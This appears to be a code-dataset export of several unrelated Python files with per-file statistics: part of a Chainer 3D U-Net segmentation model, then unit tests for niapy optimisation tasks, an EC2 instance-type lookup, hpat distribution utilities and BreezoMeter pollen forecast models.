e4 = F.relu(self.bnc4(self.c4(e3)))
syn2 = F.relu(self.bnc5(self.c5(e4)))
del e3, e4
e5 = F.max_pooling_nd(syn2, self.pool_size, self.pool_size)
e6 = F.relu(self.bnc6(self.c6(e5)))
e7 = F.relu(self.bnc7(self.c7(e6)))
del e5, e6
d0 = F.concat([self.dc0(e7), syn2])
del e7, syn2
d1 = F.relu(self.bndc1(self.dc1(d0)))
d2 = F.relu(self.bndc2(self.dc2(d1)))
del d0, d1
d3 = F.concat([self.dc3(d2), syn1])
del d2, syn1
d4 = F.relu(self.bndc4(self.dc4(d3)))
d5 = F.relu(self.bndc5(self.dc5(d4)))
del d3, d4
d6 = F.concat([self.dc6(d5), syn0])
del d5, syn0
d7 = F.relu(self.bndc7(self.dc7(d6)))
d8 = F.relu(self.bndc8(self.dc8(d7)))
del d6, d7
d9 = self.dc9(d8)
del d8
return d9
def __call__(self, x, t=None, seg=True):
h = self._calc(x)
if seg:
pred = F.softmax(h)
del h
return pred.data
else:
#loss = eval(self.loss_func)(h, t, class_weight=self.class_weight)
loss = eval(self.loss_func)(h, t)
pred = F.softmax(h)
del h
return loss, pred.data
class Model_L4(Chain):
def __init__(
self,
ndim=3,
n_class=2,
init_channel=2,
kernel_size=3,
pool_size=2,
ap_factor=2,
gpu=-1,
class_weight=np.array([1, 1]).astype(np.float32),
loss_func='F.softmax_cross_entropy'
):
self.gpu = gpu
self.pool_size = pool_size
if gpu >= 0:
self.class_weight = cuda.to_gpu(np.array(class_weight).astype(np.float32))
else:
self.class_weight = np.array(class_weight).astype(np.float32)
self.train = True
self.loss_func = loss_func
initializer = chainer.initializers.HeNormal()
super(Model_L4, self).__init__(
c0=L.ConvolutionND(ndim, 1, init_channel, kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c1=L.ConvolutionND(ndim, init_channel, int(init_channel * (ap_factor ** 1)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c2=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 1)), int(init_channel * (ap_factor ** 1)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c3=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 1)), int(init_channel * (ap_factor ** 2)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c4=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 2)), int(init_channel * (ap_factor ** 2)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c5=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 2)), int(init_channel * (ap_factor ** 3)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c6=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 3)), int(init_channel * (ap_factor ** 3)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c7=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 3)), int(init_channel * (ap_factor ** 4)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c8=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 4)), int(init_channel * (ap_factor ** 4)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
c9=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 4)), int(init_channel * (ap_factor ** 5)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc0=L.DeconvolutionND(ndim, int(init_channel * (ap_factor ** 5)), int(init_channel * (ap_factor ** 5)), self.pool_size, self.pool_size, 0, initialW=initializer, initial_bias=None),
dc1=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 4) + init_channel * (ap_factor ** 5)), int(init_channel * (ap_factor ** 4)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc2=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 4)), int(init_channel * (ap_factor ** 4)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc3=L.DeconvolutionND(ndim, int(init_channel * (ap_factor ** 4)), int(init_channel * (ap_factor ** 4)), self.pool_size, self.pool_size, 0, initialW=initializer, initial_bias=None),
dc4=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 3) + init_channel * (ap_factor ** 4)), int(init_channel * (ap_factor ** 3)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc5=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 3)), int(init_channel * (ap_factor ** 3)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc6=L.DeconvolutionND(ndim, int(init_channel * (ap_factor ** 3)), int(init_channel * (ap_factor ** 3)), self.pool_size, self.pool_size, 0, initialW=initializer, initial_bias=None),
dc7=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 2) + init_channel * (ap_factor ** 3)), int(init_channel * (ap_factor ** 2)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc8=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 2)), int(init_channel * (ap_factor ** 2)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc9=L.DeconvolutionND(ndim, int(init_channel * (ap_factor ** 2)), int(init_channel * (ap_factor ** 2)), self.pool_size, self.pool_size, 0, initialW=initializer, initial_bias=None),
dc10=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 1) + init_channel * (ap_factor ** 2)), int(init_channel * (ap_factor ** 1)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc11=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 1)), int(init_channel * (ap_factor ** 1)), kernel_size, 1, int(kernel_size/2), initialW=initializer, initial_bias=None),
dc12=L.ConvolutionND(ndim, int(init_channel * (ap_factor ** 1)), n_class, 1, 1, initialW=initializer, initial_bias=None),
bnc0=L.BatchNormalization(init_channel),
bnc1=L.BatchNormalization(int(init_channel * (ap_factor ** 1))),
bnc2=L.BatchNormalization(int(init_channel * (ap_factor ** 1))),
bnc3=L.BatchNormalization(int(init_channel * (ap_factor ** 2))),
bnc4=L.BatchNormalization(int(init_channel * (ap_factor ** 2))),
bnc5=L.BatchNormalization(int(init_channel * (ap_factor ** 3))),
bnc6=L.BatchNormalization(int(init_channel * (ap_factor ** 3))),
bnc7=L.BatchNormalization(int(init_channel * (ap_factor ** 4))),
bnc8=L.BatchNormalization(int(init_channel * (ap_factor ** 4))),
bnc9=L.BatchNormalization(int(init_channel * (ap_factor ** 5))),
bndc1=L.BatchNormalization(int(init_channel * (ap_factor ** 4))),
bndc2=L.BatchNormalization(int(init_channel * (ap_factor ** 4))),
bndc4=L.BatchNormalization(int(init_channel * (ap_factor ** 3))),
bndc5=L.BatchNormalization(int(init_channel * (ap_factor ** 3))),
bndc7=L.BatchNormalization(int(init_channel * (ap_factor ** 2))),
bndc8=L.BatchNormalization(int(init_channel * (ap_factor ** 2))),
bndc10=L.BatchNormalization(int(init_channel * (ap_factor ** 1))),
bndc11=L.BatchNormalization(int(init_channel * (ap_factor ** 1)))
)
def _calc(self, x):
e0 = F.relu(self.bnc0(self.c0(x)))
syn0 = F.relu(self.bnc1(self.c1(e0)))
del e0
e1 = F.max_pooling_nd(syn0, self.pool_size, self.pool_size)
e2 = F.relu(self.bnc2(self.c2(e1)))
syn1 = F.relu(self.bnc3(self.c3(e2)))
del e1, e2
e3 = F.max_pooling_nd(syn1, self.pool_size, self.pool_size)
e4 = F.relu(self.bnc4(self.c4(e3)))
syn2 = F.relu(self.bnc5(self.c5(e4)))
del e3, e4
e5 = F.max_pooling_nd(syn2, self.pool_size, self.pool_size)
e6 = F.relu(self.bnc6(self.c6(e5)))
syn3 = F.relu(self.bnc7(self.c7(e6)))
del e5, e6
e7 = F.max_pooling_nd(syn3, self.pool_size, self.pool_size)
e8 = F.relu(self.bnc8(self.c8(e7)))
e9 = F.relu(self.bnc9(self.c9(e8)))
del e7, e8
d0 = F.concat([self.dc0(e9), syn3])
del e9, syn3
d1 = F.relu(self.bndc1(self.dc1(d0)))
d2 = F.relu(self.bndc2(self.dc2(d1)))
del d0, d1
d3 = F.concat([self.dc3(d2), syn2])
del d2, syn2
d4 = F.relu(self.bndc4(self.dc4(d3)))
d5 = F.relu(self.bndc5(self.dc5(d4)))
del d3, d4
d6 = F.concat([self.dc6(d5), syn1])
del d5, syn1
d7 = F.relu(self.bndc7(self.dc7(d6)))
d8 = F.relu(self.bndc8(self.dc8(d7)))
del d6, d7
d9 = F.concat([self.dc9(d8), syn0])
del d8, syn0
d10 = F.relu(self.bndc10(self.dc10(d9)))
d11 = F.relu(self.bndc11(self.dc11(d10)))
del d9, d10
d12 = self.dc12(d11)
del d11
return d12
def __call__(self, x, t=None, seg=True):
h = self._calc(x)
if seg:
pred = F.softmax(h)
del h
return pred.data
else:
#loss = eval(self.loss_func)(h, t, class_weight=self.class_weight)
loss = eval(self.loss_func)(h, t)
pred = F.softmax(h)
del h
return loss, pred.data
| 57.331507
| 226
| 0.624677
| 2,964
| 20,926
| 4.205128
| 0.052294
| 0.137677
| 0.150193
| 0.219512
| 0.95138
| 0.947529
| 0.945363
| 0.942073
| 0.881739
| 0.881659
| 0
| 0.04358
| 0.225843
| 20,926
| 364
| 227
| 57.489011
| 0.725802
| 0.010322
| 0
| 0.66129
| 0
| 0
| 0.003333
| 0.003333
| 0
| 0
| 0
| 0
| 0
| 1
| 0.029032
| false
| 0
| 0.022581
| 0
| 0.090323
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8020b6b7216ebce88801345178fb3a6d3cf2275b
| 10,167
|
py
|
Python
|
niapy/tests/test_task.py
|
hrnciar/NiaPy
|
d1e70924577cc90455c52701f2696bcb0a064438
|
[
"MIT"
] | null | null | null |
niapy/tests/test_task.py
|
hrnciar/NiaPy
|
d1e70924577cc90455c52701f2696bcb0a064438
|
[
"MIT"
] | null | null | null |
niapy/tests/test_task.py
|
hrnciar/NiaPy
|
d1e70924577cc90455c52701f2696bcb0a064438
|
[
"MIT"
] | null | null | null |
# encoding=utf8
from unittest import TestCase
import numpy as np
from numpy.random import default_rng
from niapy.benchmarks import Benchmark
from niapy.task import StoppingTask, ThrowingTask
from niapy.util import full_array, FesException, GenException, RefException
class MyBenchmark(Benchmark):
def __init__(self):
super().__init__(-10, 10)
def function(self):
def evaluate(D, x):
return sum(x ** 2)
return evaluate
class StoppingTaskBaseTestCase(TestCase):
r"""Test case for testing `Task`, `StoppingTask` and `CountingTask` classes.
Date:
April 2019
Author:
Klemen Berkovič
See Also:
* :class:`niapy.util.Task`
* :class:`niapy.util.CountingTask`
* :class:`niapy.util.StoppingTask`
"""
def setUp(self):
self.D = 6
self.Lower, self.Upper = [2, 1, 1], [10, 10, 2]
self.task = StoppingTask(dimension=self.D, lower=self.Lower, upper=self.Upper)
def test_dim_ok(self):
self.assertEqual(self.D, self.task.dimension)
self.assertEqual(self.D, self.task.dimension)
def test_lower(self):
self.assertTrue(np.array_equal(full_array(self.Lower, self.D), self.task.lower))
self.assertTrue(np.array_equal(full_array(self.Lower, self.D), self.task.lower))
def test_upper(self):
self.assertTrue(np.array_equal(full_array(self.Upper, self.D), self.task.upper))
self.assertTrue(np.array_equal(full_array(self.Upper, self.D), self.task.upper))
def test_range(self):
self.assertTrue(
np.array_equal(full_array(self.Upper, self.D) - full_array(self.Lower, self.D), self.task.range))
self.assertTrue(
np.array_equal(full_array(self.Upper, self.D) - full_array(self.Lower, self.D), self.task.range))
def test_ngens(self):
self.assertEqual(np.inf, self.task.max_iters)
def test_nfess(self):
self.assertEqual(np.inf, self.task.max_evals)
def test_stop_cond(self):
self.assertFalse(self.task.stopping_condition())
def test_stop_condi(self):
self.assertFalse(self.task.stopping_condition_iter())
def test_eval(self):
self.assertRaises(AttributeError, lambda: self.task.eval([]))
def test_evals(self):
self.assertEqual(0, self.task.evals)
def test_iters(self):
self.assertEqual(0, self.task.iters)
def test_next_iter(self):
self.assertEqual(None, self.task.next_iter())
def test_is_feasible(self):
self.assertFalse(self.task.is_feasible(full_array([1, 2, 3], self.D)))
class StoppingTaskTestCase(TestCase):
r"""Test case for testing `Task`, `StoppingTask` and `CountingTask` classes.
Date:
April 2019
Author:
Klemen Berkovič
See Also:
* :class:`niapy.util.Task`
* :class:`niapy.util.CountingTask`
* :class:`niapy.util.StoppingTask`
"""
def setUp(self):
self.D, self.nFES, self.nGEN = 10, 10, 10
self.t = StoppingTask(max_evals=self.nFES, max_iters=self.nGEN, cutoff_value=1, dimension=self.D,
benchmark=MyBenchmark())
def test_isFeasible(self):
x = np.full(self.D, 10)
self.assertTrue(self.t.is_feasible(x))
x = np.full(self.D, -10)
self.assertTrue(self.t.is_feasible(x))
x = default_rng().uniform(-10, 10, self.D)
self.assertTrue(self.t.is_feasible(x))
x = np.full(self.D, -20)
self.assertFalse(self.t.is_feasible(x))
x = np.full(self.D, 20)
self.assertFalse(self.t.is_feasible(x))
def test_nextIter(self):
for i in range(self.nGEN):
self.assertFalse(self.t.stopping_condition())
self.t.next_iter()
self.assertTrue(self.t.stopping_condition())
def test_stopCondI(self):
for i in range(self.nGEN):
self.assertFalse(self.t.stopping_condition_iter(), msg='Error at %s iteration!!!' % i)
self.assertTrue(self.t.stopping_condition_iter())
def test_eval(self):
x = np.ones(self.D)
for i in range(self.nFES):
self.assertAlmostEqual(self.t.eval(x), self.D, msg='Error at %s iteration!!!' % i)
self.assertTrue(self.t.stopping_condition())
def test_eval_over_nFES(self):
x = np.ones(self.D)
for i in range(self.nFES):
self.t.eval(x)
self.assertEqual(np.inf, self.t.eval(x))
self.assertTrue(self.t.stopping_condition())
def test_eval_over_nGEN(self):
x = np.ones(self.D)
for i in range(self.nGEN):
self.t.next_iter()
self.assertEqual(np.inf, self.t.eval(x))
self.assertTrue(self.t.stopping_condition())
def test_nFES_count(self):
x = np.ones(self.D)
for i in range(self.nFES):
self.t.eval(x)
self.assertEqual(self.t.evals, i + 1, 'Error at %s. evaluation' % (i + 1))
def test_nGEN_count(self):
x = np.ones(self.D)
for i in range(self.nGEN):
self.t.next_iter()
self.assertEqual(self.t.iters, i + 1, 'Error at %s. iteration' % (i + 1))
def test_stopCond_evals(self):
x = np.ones(self.D)
for i in range(self.nFES - 1):
self.t.eval(x)
self.assertFalse(self.t.stopping_condition())
self.t.eval(x)
self.assertTrue(self.t.stopping_condition())
def test_stopCond_iters(self):
x = np.ones(self.D)
for i in range(self.nGEN - 1):
self.t.next_iter()
self.assertFalse(self.t.stopping_condition())
self.t.next_iter()
self.assertTrue(self.t.stopping_condition())
def test_stopCond_refValue(self):
x = np.ones(self.D)
for i in range(self.nGEN - 5):
self.assertFalse(self.t.stopping_condition())
self.assertEqual(self.D, self.t.eval(x))
self.t.next_iter()
x = np.zeros(self.D)
self.assertEqual(0, self.t.eval(x))
self.assertTrue(self.t.stopping_condition())
self.assertEqual(self.nGEN - 5, self.t.iters)
def test_print_conv_one(self):
r1, r2 = [], []
for i in range(self.nFES):
x = np.full(self.D, 10 - i)
r1.append(i + 1), r2.append(self.t.eval(x))
t_r1, t_r2 = self.t.return_conv()
self.assertTrue(np.array_equal(r1, t_r1))
self.assertTrue(np.array_equal(r2, t_r2))
def test_print_conv_two(self):
r1, r2 = [], []
for i in range(self.nFES):
x = np.full(self.D, 10 - i if i not in (3, 4, 5) else 4)
r1.append(i + 1), r2.append(self.t.eval(x))
t_r1, t_r2 = self.t.return_conv()
self.assertTrue(np.array_equal(r2, t_r2))
self.assertTrue(np.array_equal(r1, t_r1))
class ThrowingTaskTestCase(TestCase):
r"""Test case for testing `ThrowingTask` class.
Date:
April 2019
Author:
Klemen Berkovič
See Also:
* :class:`niapy.util.ThrowingTask`
"""
def setUp(self):
self.D, self.nFES, self.nGEN = 10, 10, 10
self.t = ThrowingTask(dimension=self.D, max_evals=self.nFES, max_iters=self.nGEN, cutoff_value=0,
benchmark=MyBenchmark())
def test_isFeasible(self):
x = np.full(self.D, 10)
self.assertTrue(self.t.is_feasible(x))
x = np.full(self.D, -10)
self.assertTrue(self.t.is_feasible(x))
x = default_rng().uniform(-10, 10, self.D)
self.assertTrue(self.t.is_feasible(x))
x = np.full(self.D, -20)
self.assertFalse(self.t.is_feasible(x))
x = np.full(self.D, 20)
self.assertFalse(self.t.is_feasible(x))
def test_nextIter(self):
for i in range(self.nGEN):
self.assertFalse(self.t.stopping_condition())
self.t.next_iter()
self.assertTrue(self.t.stopping_condition())
def test_stopCondI(self):
for i in range(self.nGEN):
self.assertFalse(self.t.stopping_condition_iter())
self.assertTrue(self.t.stopping_condition_iter())
def test_eval(self):
x = np.ones(self.D)
for i in range(self.nFES):
self.assertAlmostEqual(self.t.eval(x), self.D, msg='Error at %s iteration!!!' % i)
self.assertRaises(FesException, lambda: self.t.eval(x))
def test_eval_over_nFES(self):
x = np.ones(self.D)
for i in range(self.nFES):
self.t.eval(x)
self.assertRaises(FesException, lambda: self.t.eval(x))
def test_eval_over_nGEN(self):
x = np.ones(self.D)
for i in range(self.nGEN):
self.t.next_iter()
self.assertRaises(GenException, lambda: self.t.eval(x))
def test_nFES_count(self):
x = np.ones(self.D)
for i in range(self.nFES):
self.t.eval(x)
self.assertEqual(self.t.evals, i + 1, 'Error at %s. evaluation' % (i + 1))
def test_nGEN_count(self):
x = np.ones(self.D)
for i in range(self.nGEN):
self.t.next_iter()
self.assertEqual(self.t.iters, i + 1, 'Error at %s. iteration' % (i + 1))
def test_stopCond_evals(self):
x = np.ones(self.D)
for i in range(self.nFES - 1):
self.t.eval(x)
self.assertFalse(self.t.stopping_condition())
self.t.eval(x)
self.assertTrue(self.t.stopping_condition())
def test_stopCond_iters(self):
x = np.ones(self.D)
for i in range(self.nGEN - 1):
self.t.next_iter()
self.assertFalse(self.t.stopping_condition())
self.t.next_iter()
self.assertTrue(self.t.stopping_condition())
def test_stopCond_refValue(self):
x = np.ones(self.D)
for i in range(self.nGEN - 5):
self.assertFalse(self.t.stopping_condition())
self.assertEqual(self.D, self.t.eval(x))
self.t.next_iter()
x = np.zeros(self.D)
self.assertEqual(0, self.t.eval(x))
self.assertRaises(RefException, lambda: self.t.eval(x))
# vim: tabstop=3 noexpandtab shiftwidth=3 softtabstop=3
| 33.00974
| 109
| 0.607357
| 1,443
| 10,167
| 4.164241
| 0.092862
| 0.062406
| 0.021967
| 0.040273
| 0.829423
| 0.822267
| 0.806457
| 0.770511
| 0.74688
| 0.746214
| 0
| 0.015869
| 0.256221
| 10,167
| 307
| 110
| 33.117264
| 0.778762
| 0.068949
| 0
| 0.752294
| 0
| 0
| 0.017334
| 0
| 0
| 0
| 0
| 0
| 0.321101
| 1
| 0.197248
| false
| 0
| 0.027523
| 0.004587
| 0.252294
| 0.009174
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
33a822dcd7b2c084fd4d57daf7ea6856be209a74
| 355
|
py
|
Python
|
tests/internal/instance_type/test_instance_type_p4d_auto.py
|
frolovv/aws.ec2.compare
|
582805823492f833d65c0441c4a14dce697c12aa
|
[
"Apache-2.0"
] | null | null | null |
tests/internal/instance_type/test_instance_type_p4d_auto.py
|
frolovv/aws.ec2.compare
|
582805823492f833d65c0441c4a14dce697c12aa
|
[
"Apache-2.0"
] | null | null | null |
tests/internal/instance_type/test_instance_type_p4d_auto.py
|
frolovv/aws.ec2.compare
|
582805823492f833d65c0441c4a14dce697c12aa
|
[
"Apache-2.0"
] | 1
|
2021-12-15T11:58:22.000Z
|
2021-12-15T11:58:22.000Z
|
# Testing module instance_type.p4d
import pytest
import ec2_compare.internal.instance_type.p4d
def test_get_internal_data_instance_type_p4d_get_instances_list():
assert len(ec2_compare.internal.instance_type.p4d.get_instances_list()) > 0
def test_get_internal_data_instance_type_p4d_get():
assert len(ec2_compare.internal.instance_type.p4d.get) > 0
| 35.5
| 77
| 0.850704
| 56
| 355
| 4.946429
| 0.339286
| 0.259928
| 0.32491
| 0.259928
| 0.826715
| 0.826715
| 0.613718
| 0.613718
| 0.613718
| 0
| 0
| 0.033435
| 0.073239
| 355
| 9
| 78
| 39.444444
| 0.808511
| 0.090141
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0.333333
| true
| 0
| 0.333333
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 10
|
33ab1707555ad30889a4402e65d969114913ef58
| 1,600
|
py
|
Python
|
hpat/tests/test_utils.py
|
AlexanderKalistratov/hpat
|
be1c9cdbd26c55162bad4bb6dfe77af176584d40
|
[
"BSD-2-Clause"
] | 1
|
2022-02-21T06:49:03.000Z
|
2022-02-21T06:49:03.000Z
|
hpat/tests/test_utils.py
|
kozlov-alexey/sdc
|
f1a48b3388713da2f96719d7003e7a400953f21e
|
[
"BSD-2-Clause"
] | 2
|
2019-10-11T16:49:03.000Z
|
2019-10-14T22:05:50.000Z
|
hpat/tests/test_utils.py
|
kozlov-alexey/sdc
|
f1a48b3388713da2f96719d7003e7a400953f21e
|
[
"BSD-2-Clause"
] | null | null | null |
import hpat
def count_array_REPs():
from hpat.distributed import Distribution
vals = hpat.distributed.dist_analysis.array_dists.values()
return sum([v == Distribution.REP for v in vals])
def count_parfor_REPs():
from hpat.distributed import Distribution
vals = hpat.distributed.dist_analysis.parfor_dists.values()
return sum([v == Distribution.REP for v in vals])
def count_parfor_OneDs():
from hpat.distributed import Distribution
vals = hpat.distributed.dist_analysis.parfor_dists.values()
return sum([v == Distribution.OneD for v in vals])
def count_array_OneDs():
from hpat.distributed import Distribution
vals = hpat.distributed.dist_analysis.array_dists.values()
return sum([v == Distribution.OneD for v in vals])
def count_parfor_OneD_Vars():
from hpat.distributed import Distribution
vals = hpat.distributed.dist_analysis.parfor_dists.values()
return sum([v == Distribution.OneD_Var for v in vals])
def count_array_OneD_Vars():
from hpat.distributed import Distribution
vals = hpat.distributed.dist_analysis.array_dists.values()
return sum([v == Distribution.OneD_Var for v in vals])
def dist_IR_contains(*args):
return sum([(s in hpat.distributed.fir_text) for s in args])
@hpat.jit
def get_rank():
return hpat.distributed_api.get_rank()
@hpat.jit
def get_start_end(n):
rank = hpat.distributed_api.get_rank()
n_pes = hpat.distributed_api.get_size()
start = hpat.distributed_api.get_start(n, n_pes, rank)
end = hpat.distributed_api.get_end(n, n_pes, rank)
return start, end
| 28.571429
| 64
| 0.73875
| 233
| 1,600
| 4.871245
| 0.171674
| 0.237885
| 0.100441
| 0.132159
| 0.777093
| 0.73304
| 0.73304
| 0.714537
| 0.714537
| 0.714537
| 0
| 0
| 0.161875
| 1,600
| 55
| 65
| 29.090909
| 0.846383
| 0
| 0
| 0.540541
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.243243
| false
| 0
| 0.189189
| 0.054054
| 0.675676
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 8
|
33bc7ef7b6c50084cbd9f2daf99fcd2df2645a11
| 11,515
|
py
|
Python
|
tests/breezometer/pollen/models/test_pollen_index_forecast.py
|
clintecker/supercell
|
6baa174c8fca1a6f805d3853bdcf9cd5148b53ca
|
[
"MIT"
] | null | null | null |
tests/breezometer/pollen/models/test_pollen_index_forecast.py
|
clintecker/supercell
|
6baa174c8fca1a6f805d3853bdcf9cd5148b53ca
|
[
"MIT"
] | 1
|
2020-09-06T19:45:25.000Z
|
2020-09-06T19:45:25.000Z
|
tests/breezometer/pollen/models/test_pollen_index_forecast.py
|
clintecker/supercell
|
6baa174c8fca1a6f805d3853bdcf9cd5148b53ca
|
[
"MIT"
] | null | null | null |
# Standard Library
import datetime
# Third Party Code
from dateutil.tz import tzutc
# Supercell Code
from supercell.breezometer.pollen.models.pollen_index import PollenIndex
from supercell.breezometer.pollen.models.pollen_index_forecast import (
PollenIndexForecast,
)
from supercell.breezometer.pollen.models.pollen_type import PollenType
def test_model():
timestamp = datetime.datetime(2020, 1, 1, 0, 0, 0, tzinfo=tzutc())
assert (
'{"timestamp": "2020-01-01T00:00:00+00:00", "display_name": '
'"BreezoMeter Pollen Index", "short_name": "bpi", "pollen_type_count": 3, '
'"plant_count": 3}'
== str(
PollenIndexForecast(
timestamp=timestamp,
short_name="bpi",
display_name="BreezoMeter Pollen Index",
pollen_types=[
PollenType(
short_name="grass",
display_name="Grass",
in_season=True,
data_available=True,
index=PollenIndex(value=4, category="High", color="#FF8C00"),
timestamp=timestamp,
),
PollenType(
short_name="tree",
display_name="Tree",
in_season=True,
data_available=True,
index=PollenIndex(value=0, category="None", color=None),
timestamp=timestamp,
),
PollenType(
short_name="weed",
display_name="Weed",
in_season=True,
data_available=True,
index=PollenIndex(
value=3, category="Moderate", color="#FFFF00"
),
timestamp=timestamp,
),
],
plants=[
PollenType(
short_name="graminales",
display_name="Graminales",
in_season=True,
data_available=True,
index=PollenIndex(value=4, category="High", color="#FF8C00"),
timestamp=timestamp,
),
PollenType(
short_name="juniper",
display_name="Juniper",
in_season=False,
data_available=False,
index=PollenIndex(value=None, category=None, color=None),
timestamp=timestamp,
),
PollenType(
short_name="elm",
display_name="Elm",
in_season=True,
data_available=True,
index=PollenIndex(value=0, category="None", color=None),
timestamp=timestamp,
),
PollenType(
short_name="oak",
display_name="Oak",
in_season=False,
data_available=False,
index=PollenIndex(value=None, category=None, color=None),
timestamp=timestamp,
),
PollenType(
short_name="alder",
display_name="Alder",
in_season=False,
data_available=False,
index=PollenIndex(value=None, category=None, color=None),
timestamp=timestamp,
),
PollenType(
short_name="pine",
display_name="Pine",
in_season=False,
data_available=False,
index=PollenIndex(value=None, category=None, color=None),
timestamp=timestamp,
),
PollenType(
short_name="cottonwood",
display_name="Cottonwood",
in_season=False,
data_available=False,
index=PollenIndex(value=None, category=None, color=None),
timestamp=timestamp,
),
PollenType(
short_name="ragweed",
display_name="Ragweed",
in_season=True,
data_available=True,
index=PollenIndex(
value=3, category="Moderate", color="#FFFF00"
),
timestamp=timestamp,
),
PollenType(
short_name="birch",
display_name="Birch",
in_season=False,
data_available=False,
index=PollenIndex(value=None, category=None, color=None),
timestamp=timestamp,
),
PollenType(
short_name="ash",
display_name="Ash",
in_season=False,
data_available=False,
index=PollenIndex(value=None, category=None, color=None),
timestamp=timestamp,
),
PollenType(
short_name="maple",
display_name="Maple",
in_season=False,
data_available=False,
index=PollenIndex(value=None, category=None, color=None),
timestamp=timestamp,
),
],
)
)
)
def test_initialize_with_dictionary():
assert (
'{"timestamp": "2020-09-06T00:00:00+00:00", "display_name": '
'"BreezoMeter Pollen Index", "short_name": "bpi", "pollen_type_count": 3, '
'"plant_count": 3}'
== str(
PollenIndexForecast.initialize_from_dictionary(
response_dictionary={
"date": "2020-09-06",
"index_id": "bpi",
"index_display_name": "BreezoMeter Pollen Index",
"types": {
"grass": {
"display_name": "Grass",
"in_season": True,
"data_available": True,
"index": {
"value": 4,
"category": "High",
"color": "#FF8C00",
},
},
"tree": {
"display_name": "Tree",
"in_season": True,
"data_available": True,
"index": {"value": 0, "category": "None", "color": None},
},
"weed": {
"display_name": "Weed",
"in_season": True,
"data_available": True,
"index": {
"value": 3,
"category": "Moderate",
"color": "#FFFF00",
},
},
},
"plants": {
"graminales": {
"display_name": "Graminales",
"in_season": True,
"data_available": True,
"index": {
"value": 4,
"category": "High",
"color": "#FF8C00",
},
},
"juniper": {
"display_name": "Juniper",
"in_season": False,
"data_available": False,
"index": {"value": None, "category": None, "color": None},
},
"elm": {
"display_name": "Elm",
"in_season": True,
"data_available": True,
"index": {"value": 0, "category": "None", "color": None},
},
"oak": {
"display_name": "Oak",
"in_season": False,
"data_available": False,
"index": {"value": None, "category": None, "color": None},
},
"alder": {
"display_name": "Alder",
"in_season": False,
"data_available": False,
"index": {"value": None, "category": None, "color": None},
},
"pine": {
"display_name": "Pine",
"in_season": False,
"data_available": False,
"index": {"value": None, "category": None, "color": None},
},
"cottonwood": {
"display_name": "Cottonwood",
"in_season": False,
"data_available": False,
"index": {"value": None, "category": None, "color": None},
},
"ragweed": {
"display_name": "Ragweed",
"in_season": True,
"data_available": True,
"index": {
"value": 3,
"category": "Moderate",
"color": "#FFFF00",
},
},
"birch": {
"display_name": "Birch",
"in_season": False,
"data_available": False,
"index": {"value": None, "category": None, "color": None},
},
"ash": {
"display_name": "Ash",
"in_season": False,
"data_available": False,
"index": {"value": None, "category": None, "color": None},
},
"maple": {
"display_name": "Maple",
"in_season": False,
"data_available": False,
"index": {"value": None, "category": None, "color": None},
},
},
}
)
)
)
| 42.648148
| 86
| 0.351628
| 706
| 11,515
| 5.558074
| 0.114731
| 0.089704
| 0.086646
| 0.107034
| 0.883792
| 0.86213
| 0.851427
